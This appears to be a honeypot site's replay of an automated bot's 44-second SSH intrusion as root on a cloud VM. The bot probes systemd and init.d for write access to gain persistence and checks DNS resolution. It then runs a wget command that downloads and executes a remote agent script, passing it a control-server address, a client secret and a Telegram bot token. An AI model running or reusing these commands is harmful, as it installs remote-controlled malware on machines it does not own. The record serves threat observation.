← All sessions
Ended · replayGot inTyped by a botevery command without a terminal

Got in and tried to download its tools

on Shibuya City, Japannutmeg-aardvark-45i from Bissen, Luxembourgseen 159 times this weekSSH-2.0-Go

root@jp-tyo-gcp-1 · 🇯🇵 Shibuya City
connected from 🇱🇺 Bissen, Luxembourg · SSH-2.0-Go
root@jp-tyo-gcp-1's password: 
Logged in as root
root@jp-tyo-gcp-1:~# echo $((1+1))
2
root@jp-tyo-gcp-1:~# set -u

probe_dir() {
	dir="$1"
	test_file="$dir/.deploy-write-test.$$"

	if ! (umask 077 && : > "$test_file") 2>/dev/null; then
		return 1
	fi

	rm -f "$test_file" >/dev/null 2>&1 || return 1
	return 0
}

found=0

for dir in /etc/systemd/system /etc/init.d; do
	if [ -d "$dir" ]; then
		found=1
		if probe_dir "$dir"; then
			echo "WRITABLE:$dir"
			exit 0
		fi
		echo "READ_ONLY:$dir"
	fi
done

if [ "$found" -eq 0 ]; then
	if [ ! -d /root ]; then
		echo "MISSING:/root"
		exit 1
	fi

	if probe_dir /root; then
		echo "WRITABLE:/root"
		exit 0
	fi

	echo "READ_ONLY:/root"
fi

exit 1
WRITABLE:/etc/systemd/system
root@jp-tyo-gcp-1:~# set -u

if command -v nslookup >/dev/null 2>&1; then
	nslookup raw.githubusercontent.com
	exit $?
fi

if command -v dig >/dev/null 2>&1; then
	dig +time=5 +tries=1 raw.githubusercontent.com
	exit $?
fi

if command -v getent >/dev/null 2>&1; then
	getent ahosts raw.githubusercontent.com
	exit $?
fi

echo "NO_DNS_LOOKUP_TOOL" >&2
exit 127
Server:		168.63.129.16
Address:	168.63.129.16#53

Non-authoritative answer:
Name:	raw.githubusercontent.com
Address: 20.42.241.46
root@jp-tyo-gcp-1:~# command -v wget >/dev/null 2>&1 && echo OK || echo MISSING
OK
root@jp-tyo-gcp-1:~# wget --no-check-certificate -O agent.sh https://raw.githubusercontent.com/nezha-rs/agent-rust/main/agent2.sh && chmod +x agent.sh && env NZ_SERVER='dash-server.132546.xyz:8007' NZ_TLS=false NZ_CLIENT_SECRET='LluIEPW4YELMU0q73fVmuGftFqao4C3j' TG_BOT_TOKEN='8852603513:AAFNtQq38ZwzTRl4s2OuqV4JgxbzTtYLNtQ' TG_CHAT_ID='-1004362596133' ./agent.sh --download-base http://sock-server.132546.xyz/nezha/v2.1.0

Disconnected · 44s inside

0:44 / 0:44
What they found: A startup's API serverA small company's cloud VM running a Node.js API.

Live updates paused

Reconnecting…

Trying again in seconds.

The connection is gone. Reload the page to see the latest.

Paused to save the server’s work while you were away.

Couldn’t resume. Reload the page to see the latest.